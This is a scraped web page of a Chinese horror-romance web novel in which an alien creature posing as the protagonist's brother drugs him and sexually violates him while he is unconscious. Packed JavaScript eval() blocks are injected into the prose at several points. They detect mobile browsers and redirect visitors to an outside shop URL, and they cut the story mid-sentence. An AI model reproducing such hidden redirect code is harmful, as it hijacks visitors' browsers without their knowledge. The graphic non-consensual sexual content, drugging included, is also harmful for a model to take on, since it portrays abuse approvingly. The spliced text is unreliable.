d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554230|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,想爬到洗手间的门缝下面,观察人类这项有趣的生活行为—— 算了。 触手尖停在距离门缝3厘米的地方。 它的人类会生气。 九十多天的朝夕相处,它已经能辨别这个小生物丰富且敏锐的情绪变化。 丁一收回触手,回味着刚才洗漱的细节,把触手重新变回人类的手掌,舔了舔刚才被拍过的地方。 很轻,像是被咬了一口。 它脚步轻快,一边关注着丁明昭的动静,一边走向厨房,同时将触手伸出虚拟场景之外,连接上分支,处理同事们发来的信息。 02号饲养员发来十条申请,申请进入饲养系统。 丁一点击拒绝,让它和03号饲养员禁闭后再重启工作。 03号饲养员发来二十六条消息,询问饲养对象的最新身体状况。 丁一接收了信号,却没有回复,冷漠地阅读完后便再次断开和分支的连接。 它拉开厨房门。 没有了“厨师”和“管家”,整个客厅安静、舒适、和谐,像一个真正的人类家庭,而它正拿起菜刀,准备学着人类的模样制作一顿新鲜又营养的食物,它的人类在二楼哗哗地洗着澡,等待接下来着接受它的饲养。 明知丁明昭还没下楼,它还是装模作样地拉开冰箱,从里面拿出并不需要冷藏的假食物,再装模作样切好食材,开始不太熟练的烹饪。 在加入人类种植计划之前,它活了漫长的几百年,从未亲自处理过食物。 它歪头犹豫,然后把黑色的“青苔”丢入锅内,将火焰加温到一千五百度,看着它们在高温中蹦跳尖叫,等完全煮熟后再捞出放凉,最后撒上神树剥落的珍贵树皮磨成的粉,摆成心脏的形状。 剩下的“汤汁”中,加入自己新长出来的“嫩芽”,用汤勺完全碾开,融成粘稠的粥状,再将颜色调整成漂亮的粉红色。 这片“嫩芽”源自于它失去了雄蕊的触肢。 哪怕在高温中失去了大部分活性,这一小片依然可以让吃下了雄蕊的“另一半”接收到交.媾信号。 今晚,在所有饲养员都无法登录系统的期间内,它将代表研究所,从它的人类身上取得第一批用于播种的种子—— 没错,这是它作为总负责人的职责,是它为整个种族进行的一次神圣且伟大的尝试。 丁一的瞳孔消失,喉咙里忍不住开始发出奇异的声音。 咕噜咕噜,咕噜咕噜…… 直到食物出锅,它才从过分沉浸的设想中找回状态,重新变得安静,进行烹饪的最后一步——用虚拟投影将食物伪装成人类爱吃的样子。 丁一勾着嘴角,让它们看起来像爱心煎鸡蛋和麦片牛奶粥。 它深深吸气,闻着食物散发出来的香气,听到它的人类关掉吹风机,显然是准备下楼了。 它歪着头,追着那让人愉快的动静,很快等到丁明昭出现在楼梯口。 “吃饭,昭昭,”它无比自然地说,“多吃,你瘦了。” 8. 渴 今天的早饭吃起来味道很好。 丁明昭的味觉依然是错乱的,但这一次错乱到了还不错的频道。 牛奶麦片有怪怪的草莓香气,尝起来像是把草莓碾碎后再和香椿煮在一起。煎鸡蛋味道更浓郁,和黑松露味道接近,就是做的有些太多了,早餐而已,居然煎了四个。 丁明昭吃到最后很撑,又不想浪费食物,于是放慢速度,边吃边心不在焉地看手机。 他发消息给好几个同学和同事,问昨天发生了什么,对面都非常肯定地回答:你在上课的时候低血糖昏迷了。 丁明昭有些走神。 不是这样。他莫名肯定。 他可以是突发疾病昏迷,也可以是精神忽然出问题昏迷,但绝不可能是低血糖。 他饿了三个多月都没昏迷过,怎么可能在一顿饱餐之后反而忽然昏倒? ——他们为什么要骗他? 丁明昭缓缓捏紧勺子,把最后一口煎蛋放进嘴里,机械性地咀嚼。 咀嚼到一半,他忽然听到一点奇怪的动静。 好像身边正煮着一锅沸腾的粥,咕噜咕噜,咕噜咕噜…… 这声音极轻,听起来也没什么特别诡异的地方,但不知为何,丁明昭突然被触发了未知的程序,寒意从背脊直冲脑顶。 他下意识想抬头,又直觉自己不应该去看。两秒僵持,他继续若无其事地咀嚼,手指熄灭屏幕,近乎本能地将手机微微一侧。 黑掉的屏幕上反射出一双乳白色的眼球。 丁一在看他,面带诡异微笑,表情亢奋,瞳孔消失,只剩眼白。 丁明昭手抖了一下,冷汗唰地冒出来,飞快抬起头—— 咕噜咕噜的声音消失不见,丁一确实在看他,也确实是笑着,表情肉眼可见的很高兴,但没有任何奇怪的地方,一双浅色的瞳孔清澈且专注地映着他的影子。 “好吃吗?”它问,“多吃,吃,再做,多吃。” 丁明昭拼命克制呼吸频率,心跳如雷,浑身发凉,过了好几秒才不动声色地摇摇头,哑声道:“吃饱了。” 丁一:“再吃点,宝宝。” 丁明昭:“不吃了。你去给我倒杯柠檬水好吗?我有点渴。” 丁一“嗯”了一声,起身去给他倒水。丁明昭等它走远后用力吐出一口气,终于克制不住颤抖,背部靠上椅子,太阳穴突突地跳,总感觉自己忘了什么很重要的东西。 过了片刻,丁一端着水回来,这次没有坐在他对面,而是坐在他身旁。 “好吃吗?”它把水杯放在丁明昭手心,执着地又问,“早餐。” 丁明昭望着它。 一段长而微妙的对视,丁明昭忽然感觉热意从小腹涌了上来。 他低头喝了一大口水,有些烦躁:“挺好的。但你怎么不吃?都是我在吃。” 丁一笑了,心情似乎很好,一字一字慢吞吞地说:“吃过了,我。” 丁明昭扯了扯衣领,没由来的阵阵燥热,忍不住又喝了一口水。这个柠檬水说不上什么滋味,甜不甜酸不酸,口感也黏黏的,但冰镇后很凉爽。 喝完,他感觉好一点,重新抬头看到丁一。 “你……”他顿了顿,嘴角也扯出一点笑意,让自己看起来更自然一点,试探道:“反正今天也不上班,好久没跟你聊过天了,我们聊聊吧。” 丁一微微歪头,花了几秒钟理解人类的这个长句,然后从桌底悄悄探出触手,接上一直不太好用的语言转化系统。 它好整以待,点头:“嗯,聊什么?” 丁明昭的目光不受控制地落在了它的锁骨处。 “今天家里怎么就我们两个?”他挪开视线,“管家呢,还有厨师和保姆阿姨,都没在。” 丁一用流畅的语言说:“他们已经连续工作三个多月没有休假,这周我不用假装上班,所以我让他们休假了,我可以照顾你,昭昭。” 丁明昭皱了下眉,视线回到它脸上。 “你看,你现在说话又很顺畅,”丁明昭说,“早上说的不正常到底是指哪方面?” 丁一指了指自己的脑袋,表情坦然、诚挚,没有任何自卑或羞耻:“这里时好时坏,是有问题的。妈妈说我小时候有一次高烧,把脑子烧坏了。” 丁明昭一时顿住。 丁一又借着语言系统补充漏洞:“机构的人早就知道,我不让他们说,怕你压力大。你从太空回来之后就一直精神状态不好,我怕给你压力,昭昭,不要有压力。” 丁明昭心里微微一软。 “应该早告诉我,”丁明昭说,“爸妈过世得早,我只剩你一个家人。” 丁一的瞳孔微微扩大,歪头愣了一下。 ……家人? 语言系统卡顿了0.3秒才将这个词汇以尽量相似的方式转译给它。 “家人”。它们这个种族已经失去新生千年,每个生命体没有父母、没有子女、没有兄弟姐妹,唯一能够与人类词汇中的“家人”相关联的,只有自己终其一生选择的唯一伴侣。 丁明昭说它是他的家人。 这是——用人类的语言来形容的话——这是“告白”吗? 被皮肤掩盖在下方的血管开始发光,这一次,荧光似乎有些失去控制,连丁明昭都隐隐看出,大哥的颈动脉处似乎浮现了淡淡的粉色颜料。 丁一用奇异的语调喃喃道:“我们是家人……对的,宝宝,我们是家人。” 丁明昭面色古怪,眉头又微微皱起,盯着它的脖子:“你……” 粉色很快又消失了。 “我们是家人,”丁一笑容很深,一遍又一遍地重复,“我们是家人,没错,我们是家人,是这样,你说得对,我们是家人。” 丁明昭缓缓吸气,又开始感到热了,热度比刚才还要明显。 他低头喝水,喝完还是觉得口干舌燥,烦躁地又扯了扯领子:“我还有件事一直想问,大哥,我失忆严重,到现在都想不起来我们的关系。” 丁一没理解。 “我们长得完全不像,是同胞兄弟,还是同父异母、异父同母,或者没有血缘的法定兄弟?” 丁一还是没理解。 人类之间复杂的亲属关系对于语言转化系统来说太具有挑战性,系统在看不见的地方疯狂运转,但这一次,过了接近十秒钟,丁一仍然没能收到准确的解释。 “我听不懂。”它只能笑,“对不起宝宝,哥哥太笨了。” 丁明昭这次说得更直接:“你是我父母领养的吗?” 领养。 这个词被触发,语言系统瞬间找到了对应的描述,也匹配到了主系统里的伪造资料。 丁一恍然:“哦……是的昭昭,我是爸爸妈妈领养的。很小很小我们就在一起,我是你的哥哥,嗯,这一点毋庸置疑。” 丁明昭:“还记得我小时候的事情?” 丁一:“当然。” 丁明昭眼也不眨地看着它的眼睛:“我很多事情都忘了,哥,我当时是在哪里念的大学?” 丁一:“A航大,你是以全市第一的成绩进去的,家里都很为你自豪。” 丁明昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554231|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“高中呢?” 丁一:“A大附属第一中学,也是我们这里最好的高中。重点班。” 丁明昭:“我的中考分数你还记得吗?” 丁一:“495分,满分510。” 丁明昭的手缓缓攥成拳:“我八岁的时候参加过市里飞机模型大赛,得了一等奖,但得奖的模型我一直没找到,你知道我把它放在哪里了吗?” 丁一对答如流:“在我们老家的二楼,因为太大了,妈妈把它小心装起来,放在了衣柜的上方,结果放的时间太长,大家都忘了在哪里。” 丁明昭:“……” 房间陷入了短暂的沉默。 丁一敏锐地感知到丁明昭的情绪,眼前的人类得到了正确的答案,却好像并不怎么开心。 丁明昭:“大家都忘了,你怎么记得?” 一个连正常语言表达都时好时坏的人,为什么会连二十年前的微末细节都一清二楚? “……” 丁一怔住。 它立刻意识到问题,又笑了起来,补充道:“后来你时常在天上执行任务,我想你了,回老家转了转,偶然发现被我们忘在衣柜上的模型。” 丁明昭:“现在那个模型在哪?” 丁一又顿了一下:“我带回来了,晚点找找。” 丁明昭“嗯”了一声,缓缓吐一口气,靠在椅背上,不再说话,只是注视着眼前的男人。 ——是他疯了,还是整个世界有问题? 从他被营救回地球之后,这个选择题每时每刻都在他脑中打转。 黑洞里时间会发生扭曲,按照物理定律,哪怕是最小的黑洞,内部的时间流速也会远远慢于地球。他在里面不知道休眠了多久,被救援出来之后时间居然只是过去了两年——这是他怀疑的最大根源。 在他执行任务之时,航天器里已经装配了最新的记忆提取工具,只是容量很小,最多能提取7天左右的记忆,只作为另一种形式的黑匣子存在,方便事故后分析事故原因。 如果他实际休眠了非常久,这种记忆提取工具,会不会发展到能提取人一辈子的记忆……? 丁明昭很烦躁,长期的饥饿、迷茫和精神失常越来越严重的影响了他的判断力。 更别提他现在越发觉得热得厉害,心里像是有什么东西在挠,难以言喻的渴望正烧着他的下腹。 他把喝光的杯子放在桌上,强压着情绪,还想再试探丁一几句,但对方抢先开口,问:“还要喝水吗?” 丁明昭舔了舔干燥的嘴唇:“……要。今天不知怎么好口渴。” 丁一积极地起身倒第二杯。 它起身的刹那,丁明昭从它的动作里闻到了一股极淡的味道。 腥甜的,很清爽,像是被阳光晒干的青苔。 丁明昭僵住。 这个味道让他的耳朵里轰的一声。 热意犹如爆发的火山,将他整个人裹挟其中。他的喉结开始滚动,目光竟不自觉地追随着丁一,在它转身要走的时候,忍不住伸手拽住了它的衣袖。 丁一立刻停下动作,转回身看他,嘴角仍然带着淡淡的笑容:“嗯?” 丁明昭张张嘴,有些迷茫地看了看自己的手,不明白自己到底想要什么。 “我去给你倒水,宝宝,”丁一说,“马上回来。” 它轻轻把袖子往回收,丁明昭不受控制地立刻收紧了手指,似乎身体本能地无法接受它离开。 “……算了,”他沙哑地挤出声音,“我不喝水了。” “你别走。” 9. 袒露 说完,他自己先愣住了。 ……这是在干什么? 他为什么要拉住丁一不放?? 丁明昭烦躁地眯起眼睛,盯着手里捏住的衣袖,尴尬得耳根微微发红,在心里逼自己立刻放手,但那几根手指头好像不听使唤了,反而将袖子握得更紧,甚至小拇指不听话地探进丁一的袖口内部,贴上眼前人脉搏。 好凉。 很舒服。 丁明昭心脏咚咚直跳,干脆松开衣袖,用滚烫的手掌握着丁一的手腕。 “我……”他又开始紧张地舔嘴唇,“你身上好凉……我是说,我只是忽然不想喝水了,你……你这么凉,是不是要多穿点衣服?” 丁一的眼珠钉在他的身上。 它伸出另一只手指,蹭了一下丁明昭的嘴唇,已经干起皮了。 “喝水,”它说,“你发烧,喝水,很快回来,要喝水,多喝水。” 它很想直接用触手伸长去接水,又碍于这具累赘的人类躯体,只能把手往外抽。 丁明昭大脑里开始嗡嗡作响。 他忽然情绪失控,从椅子里站起身,指甲深深陷入丁一的皮肤中,大声道:“我说了我不喝!不喝!!你能不能好好待在这儿!” 吼完,客厅陷入寂静,只剩下丁明昭急促滚烫的呼吸声。 丁一的瞳孔微微收缩,维持着这个姿势。 丁明昭和它对视片刻,怒气又一点点松懈,重新变得茫然,茫然中渗出一点对于失控的恐惧,手指开始轻轻发抖。 “……哥。” 丁一放下杯子。 它转身走向丁明昭,单手解开自己的上衣纽扣,干净利落地将把丁明昭搂进怀里。 它搂得非常用力,光裸冰凉的皮肤贴上丁明昭,透过薄薄的丝质布料将凉意传导到他的身体。 丁明昭僵住。 ……他们到底在干什么啊? 他简直尴尬到绝望,偏偏心里那股邪火从被抱住起就一下松懈,身体已经完全不受控制,竟然主动抬起手,搂住丁一的肩膀,然后把脸贴过去,贴住大哥的脸颊。 隐隐约约中,他似乎又听到了咕噜咕噜的流水声。 在他看不到的地方,丁一的嘴角深深勾起,贴着丁明昭背脊的手掌冒出无数细碎的绒毛,扎入衣物,“看到”人类的脊椎边缘已经爬满了深绿色的的纹路。 “没事,”它愉悦地说,“不走,宝宝,哥哥在,不走。但是多喝水,发烧了,要多喝水。” 丁明昭浑身都在颤,内脏烧得发烫,口渴到舌头都好像要黏住了,又因为不想离开丁一,嘴硬道:“我不渴……你身上什么味道?哥,你现在闻起来像一棵树……” 丁一轻轻捏住了他的下巴。 “喝水,要喝水,”它把丁明昭的脸小心拨过来,对上他的眼睛,“……树?那是什么味道?” 两人面对面,鼻尖几乎贴在一起,丁明昭看到丁一的瞳孔,里面清楚地映着自己的影子。 他立刻安静下来,像是入魔了。 “没事的,宝宝,”丁一的声音越来越轻,嘴唇也越来越近,“不要怕,没事,是哥哥。没事。喝点水……慢慢喝。” 丁明昭的意识已经有点涣散,如果他现在还能维持理智,他就会发现——哪怕他们此刻几乎完全相贴,他居然感受不到丁一的呼吸,也感受不到它说话时的热气。 下一秒,丁一的嘴唇碰到了他的嘴唇。 很软,很凉,像两片冰镇过的果冻。 这是一个不含任何情玉的亲吻,接着,有什么滑溜溜的东西撬开了丁明昭的牙齿,钻进他的口腔,像刚刚蜕皮的蛇一样往下钻,几乎碰到了他的喉咙。 冰凉的液体顺着那东西往喉咙里流,一如丁一说得那样,流得很慢,小心翼翼,避免脆弱的人类喉咙呛到。 丁明昭被压着喉道,只能下意识地吞咽,那液体非常冰,像是用青苔、海带和树叶混合在一起榨成了汁,一股浓重的草木腥气,在他还来不及反应的时候直接流进胃里,用足够低的温度瞬间浇灭了内脏里翻腾的火。 他渴得顾不上思考,跟咬住一条吸管一样用力咬住那条“舌头”,咕咚咕咚大口地吸着喝,极度的干渴很快得到缓解,头皮发麻爽得轻微发麻,手背上甚至一颗一颗地起了鸡皮疙瘩。 整个客厅一时间只剩下他不管不顾吞咽的声音,喝了足足有三分钟,丁明昭的胃里已经全是水,肚子微微鼓起,而那舌头下藏得汁水仍然没有流尽,充沛到任由他索取。 喝着喝着,丁明昭的速度慢了下来。 燥热缓解之后,理智短暂回归。 被黏在丁一瞳孔里的视线开始颤动,丁明昭的目光缓缓往旁边挪。 干净到反光的巨大电视机屏幕上,映出他们交颈缠绕的影子—— 环抱着他的不是人类的双臂,而是十数条细长的触手。那些触手像绳子一样将他捆住,汇聚到他的背部,触手的腹部长出“脚”来,从上到下密密麻麻扎满他的脊柱,让他看起来像是从脊椎处长出了一对蠕动的翅膀。 而他正在喝的东西,是从丁一嘴里伸出来的肉粉色的管子,薄如蝉翼的表皮下方,流动着有诡异荧光的绿色液体,正不慌不忙地涌向丁明昭的体内。 丁明昭慢慢睁大了眼。 和他抱在一起的是什么东西?! 丁一呢?他的大哥呢?!! 恐惧和冰凉的液体一起,迅速夺走他的体温。 他剧烈挣扎,用力把丁一往外推。而出乎意料的是,眼前的东西被他轻而易举地推开了,他跌跌撞撞跑到客厅地另一头,喉咙里残留着触手抽出来时的触感。 他终于忍不住,扶着墙壁开始干呕。 胃里空空荡荡,明明吃了早餐、又喝了那么多未知的恶心液体,这时候却什么都吐不出来。 丁明昭不敢置信地扯开自己的衣服,他的腹部无比平坦,根本没有喝水喝到鼓起的痕迹。 “宝宝?”轻柔的声音神出鬼没在他身后响起,“喝水。多喝……再喝。” 丁明昭如遭雷劈,刹那间浑身巨震,本能地抄起旁边的椅子,狠狠砸向身后的“人”。 这么近的距离,居然砸空了。 “再喝点。”那声音浮在他耳边,“宝宝,要多喝水,听话……你在发热,你承受不了。” 丁明昭已经无法做任何思考,藏在基因最深处的恐惧代码被唤醒,他头也不回地朝着二楼逃,冲进自己的卧室,将门反锁,从床头柜最深处翻出自己藏在里面的枪。 房间里静可闻针,静到只能听见自己狂躁的心跳。外面没有脚步声,但他可以百分百笃定,他感觉到它了,它正沿着楼梯往上,朝着卧室的方向越靠越近—— …… 【警报!警报!】 【检测到饲养对象生理指标出现剧烈波动!】 【根据《人类保护法条》相关条例,主系统将在饲养周期100秒之后将相关数据递交教会,并对饲养对象进行强制休眠!】 【请总负责人即刻采取行动!倒计时:100、99、98……】 丁一站在紧闭的卧室门口。 砰!! 里面的人开了枪。 这一枪准头非常好,子弹穿透不算太厚的木门,精准地射入了丁一人类伪装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554232|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形态下的心脏。 砰、砰、砰! “走开!怪物!!走开!你把我哥藏哪里去了?!” 更多子弹把木门打成了筛子,丁一轻松捏住一颗,微微眯眼,透过木门上的弹孔看到了它的人类混杂着恐惧和攻击性的脸。 【警报,警报!】 【饲养对象生理指标进一步恶化!强制休眠倒计时70、69、68……】 丁一的人类伪装开始融化。 一条极其细长的触手沿着弹孔爬进去,勾住门把手,无视砰砰作响的枪声和子弹,轻而易举地将卧室门打开。 “咔”的一声轻响,枪声停了,手枪耗光了最后一颗子弹。 丁明昭背后全是汗,一步一步退到墙边,把手枪丢到地上,抄起旁边的晾衣杆,在剧烈的心跳声中眼睁睁看着卧室的门缓缓被拉开。 “别怕,宝宝,”那东西出现在门口,用极其轻柔的声音说着,“别怕,就是哥哥。没事。宝宝,没事,别怕……” 阳光从走廊的窗边照进来,拉出一道巨大黑影,将背靠着墙的人类完全笼罩。 丁明昭瞳孔收缩到极致,身体完全僵直,表情彻底失去控制,大脑也一片空白,霎时间无法理解自己到底看到了什么。 ——立在门边的生物几乎快要顶到天花板,中间是锋利的骨片构成的躯干,像一条骨蛇,躯干最下方开始分叉,分为数十条根须一样的短触手,触手底部的吸盘牢牢抓着地板,支撑整个身体的爬行和站立。而躯干的最上方,挂着一颗极不协调的巨大“头颅”,头颅的最中央蒙在灰色的雾气里,肉眼只能看到一个暗色的能量旋涡,头颅和躯干相连的地方悬着数条更为细长的触手,触手们拧起来,化为一对肉做成的翅膀,垂在身躯的后方。 丁明昭的视网膜只捕捉到这个画面不到0.05秒,快到甚至来不及看清这怪物的细节。 他的眼睛一阵剧痛,紧接着四周便陷入了黑暗之中。恐惧掐住了他的气管,他大脑一片空白,身体不听使唤,也许喉咙里正在发出尖叫,但他什么都听不到,只能听见那轻柔的声音紧紧贴在他的耳边。 “别怕……宝宝。别怕。是我,是哥哥。别怕……” 【警报,警报!】 【饲养对象生理指标恶化到警戒线!强制休眠倒计时8、7、6……】 从灰色的雾气里张开一张半透明的黏膜,将几乎失去意识的人类裹入其中。 【警报……滋滋……饲养对象……滋滋……】 【生理指标……?滋滋……无法识别……滋滋……】 【检测到……滋滋……】 【……检测到饲养对象正在安睡……滋滋……】 【取消强制休眠倒计时,取消数据上传,开启静音模式】 【主系统故障排查中……】 聒噪的警报终于安静了下来,系统失去了饲养对象的具体方位,只能确定饲养对象的生理指标一切正常。 丁一把饲养对象藏进了身体内部,用自己的躯干彻底屏蔽掉系统的探测。 蠕动的触手散发出愉快的暖色调荧光,灰色雾气开始活跃流动,昭示着这个难以名状的怪物心情很不错。 ——这里终于只剩下它和它的人类了。 终于。 它的躯干缓慢蠕动,正中央的位置一点点鼓起,腾出足以让人类感到舒适的空间,无数触手向内延展,如襁褓般一圈一圈裹住短暂昏迷的人类。 喀嚓喀嚓。 咕噜咕噜。 丝质睡衣被吸盘吃了个干净,没了系统的干扰和监督,冰凉湿润的触手开始肆无忌惮地探索这具身体。 10. 芽和蕊 人类的皮肤火热又光滑,带着漂亮的细腻纹理,纹理和纹理之间排列着细软可爱的绒毛,绒毛们此时正因为寒冷而根根立起,毛孔也紧张闭合,无力地抵抗怪物的探索。 真柔软…… 真暖和…… 咕噜咕噜…… 上百条细长触手将人类严密缠绕,吸盘深处不受控制地分泌出大量黏液,再借着黏液作为润滑在人类的身体上缓慢蠕动、爬行,让神经最丰富的吸盘口去细细品味这个小生物的每一寸皮肤。 咕噜咕噜咕噜…… 湿润黏腻的摩擦声充斥着整个内部空间,浓郁的草木腥气和人类散发出的温暖气味交织在一起。 这些气味本身便带有大量的信息素,不用眼睛看,也不用鼻子闻,触手顶端充斥着接受信息素用的神经元,只需从这里爬过,就能对人类的状态一清二楚。 它的人类正在受雄蕊的影响,体温高热,脸部因为缺氧一片通红,肺部剧烈张合,心跳极快,血压上升,意识介于昏迷和模糊苏醒之间,牙齿因为发抖而磕得咯咯作响。 雄蕊无限接近于开放,人类的身体难以承受这种级别的强制兴奋,已经接近崩溃的边缘。 它依旧不慌不忙,抚摸那条脆弱脊椎,欣赏荧光绿的纹路爬满人类整个身躯。 如果丁明昭是它的同类—— 到了这个份上,他早就应该绽开他的雌蕊或者雄蕊,让丁一礼尚往来吃掉属于他的那部分。然后它们会神.交,再*交,抵死缠绵,直到彼此的身体里都长出属于对方的神经元。 从此之后,他们将成为一对永不分离的伴侣,甚至他们之间再也不需要交流,一方的任何想法都会直接被另一方接收。 ……可惜。 它想。 真可惜。 人类这种可怜的、孤独的小生物,只长出了最简单的性.交结构,却缺乏精神融合的工具。 这意味着他不会成为任何生物的伴侣,同时也不懂得拒绝任何生物的求爱。 触手不满地收得更紧,将快要窒息的人类牢牢捆在体内。 丁明昭发出痛苦的呻.吟,嘴里断断续续吐出了两个音节,似乎在喊:“妈妈。” ……妈妈? 什么是妈妈? 他在叫它吗? 触手表皮散发出淡淡的光泽,它终于不再袖手旁观,在丁明昭窒息的前一秒,将触手探入人类的鼻腔,沿着气管一路爬到肺部,朝快要枯竭的肺输送氧气。 另一条触手熟练地钻入喉咙,滑进胃部,继续在客厅里没能完成的工作,向胃里注入冰冷的液体,缓解人类身体的高热。 做完这些,怪物短暂停顿,耐心等待着这个脆弱的小东西做出反应。 丁明昭的颤抖慢慢平复了下来。 他的脸颊仍然通红,但不再憋到发紫,心跳也一点点回归平稳,只是眉头仍然紧紧皱着,嘴里反复呢喃着简单的叠词,片刻后身体不自觉地蜷缩起来,在触手构成的黑色巢穴里本能蜷缩成婴儿的姿态。 啊……真是可爱。 它让他想起了妈妈吗? 触手尖蹭着紧皱的眉心,遗憾不能从这里找到他的雌蕊,蹭了好一会后才慢吞吞往下,开始拨弄属于人类的播种结构。 然而刚一碰到,蜷缩的人忽然发出一声极高的哀叫,浑身不停痉.挛,已经被雄蕊刺激到极致的尾巴开始一阵一阵地往外吐粘液。 怪物微微愣了一下,很快,触手表面的光泽变成了明亮的红色。 吸盘们活跃起来,将流出来的粘液全部吸入花萼——那里是它专门为人类改造的结构,可以长时间保存人类种子活性——储存完后,吸盘深处又忍不住探出细细绒毛,小心地尝了一口。 ……尝起来非常像神树的花粉,却远比花粉要来得活跃,里面全是蠕动的活性细胞。 而它们的母树的花蕊,已经失去活性上千年。 这样相似的味道与研究报告吻合,却远比报告描述的要更具冲击力。 怪物从中品尝到了极其美味的信息素,触手爆发出绚丽的色彩,交接腕几乎是立刻进入**状态。 它的身躯出现了短暂的停滞。 在这个瞬间,它忽然产生了一种极为亵渎的冲动——它想把他藏起来。 想继续肆无忌惮地从他身上汲取种子,想让“人类种植计划”变成独属于它的东西,想改造他,让他身上长出自己的神经元,让他成为一颗雌树…… 这样的念头一闪而过,绚丽的触手又在半秒之后快速回归正常的颜色。 任何亵渎都不是被允许的……神树知悉万物。 但即便如此,这个如黑洞般的内部空间仍然收紧了许多,像是本能地不想放人类离开。 它的触手伸向还没有停止痉.挛的人类,卷起那条半*半*的尾巴,从触手顶端延展出极细的长绒毛,钻入孔洞,依依不舍地品尝上面残留的黏液。 ……好甜。 像一朵盛开的蕊。 咕噜咕噜咕噜…… “啊啊啊……!” 人类在它的怀里发出不安地惊叫,开始拼命挣扎,想要摆脱这场可怕的快*刑罚,但触手已经将他完全束缚,绒毛在他的管道中扎根、向下生长,每动一下都给他带来无法承受的刺激。 只轻轻扯动了几下,更多粘液毫无抵抗地往外流,不停地流,流到丁明昭在昏迷中感觉自己好像死了,脸上的每一个出口都跟着不停往外渗出液体,分不清是快乐还是痛苦。 小小的一个花萼很快装满,怪物撤出了绒毛,藏在花萼旁边的腕足已经完全**,犹如长满了芽的婴儿手臂。 怪物停下动作。 它巨大的头颅轻轻一歪,内部的触手们也跟着同时歪起顶端,一边等待丁明昭停止颤抖,一边打量着这个小生物的每一个入口。 眼睛,鼻子,耳朵,嘴巴,**,**…… 它犹豫几秒,将腕足放在人类的腹腔处。 ——只要一半长度就足以刺穿丁明昭的五脏六腑。 腕足无能地在下方蹭着他的皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554233|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神经元在上方遗憾地蹭着他的眉心,无论是神交还是*交都找不到合适的接口。 它感到烦躁,烦躁来源自于快要爆炸又得不到满足的信息素。它尝试缩小腕足,又在感受到人类糟糕的心跳频率后偃旗息鼓,想小心进入他的意识,又担心自己在交.配中兴奋到失去控制。 一阵纠结,最终,它还是忍不住,从所有神经元中挑出了最细、最脆弱、最发育不良的那一根,谨慎地钻入丁明昭的眉心。 它小心翼翼地向小东西发起神.交的申请。 刹那间,丁明昭只觉得上万伏的高压电直接击中了他的大脑皮层。 他在昏迷中感到眼前一片耀眼的白光,从白光之中很快又生出了无法直视的绚烂星云,它们极快移动变幻,排列出无数种难以理解的神秘图案,最终组成一颗跳动的、爬满了藤蔓状触手的大脑,大脑正中间是一团黑色的迷雾,一只无法描述的眼睛似乎从迷雾中缓缓睁开…… 所有神经细胞都在这一瞬被刺激到极致,过度的兴奋在超过人类承受极限之后,反而转化为了巨大的痛苦。 在更高的维度上,他的脑子和灵魂一起,像烟花一样地炸开了。 短短二十几年的记忆全部被炸成碎片,毫无还手之力地完全呈现在“祂”的面前。 这样恐怖的神.交只持续了不到零点几秒,他却感觉已经过去了好几个世纪,自己碎得到处都是,飘在真空里,被迫接受来自更高维的意识交.配…… 怪物一触即分,快到几乎难以察觉地收回神经元。 而丁明昭在它怀里彻底崩溃,七窍流血,皮肤皲裂,意识失散,只剩下一具可怜躯壳。 它感到棘手,亢奋的腕足也仿佛被泼了一盆冰水,不甘心地重新缩回花萼之下。 这个可怜的、脆弱的、蜉蝣般不堪一击的小家伙…… 它从兴奋变成难受,开始认命地修补它娇贵的“伴侣”,触手在人类身上飞快交错,弥合裂开的伤口;神经元在更高的维度穿梭,把破碎的意识一点点仔细缝到一起。 缝合之后,它分泌出大量营养丰富的珍贵粘液——这本来是孕育新生命时才会使用的东西——将人类完全浸泡其中,再用触手做氧气管,继续为他的肺部输氧。 接下来,是漫长又难熬的等待。 对于没有得到满足的发青期怪物来说,每一秒都是残酷的折磨。 灰色雾气缓缓坍缩成一个悲伤的黑洞。 等待之中,它又一次无法忍耐地伸出神经元,但不敢再尝试神.交,只是小心贴上他的头颅,谨慎翻阅他的记忆。 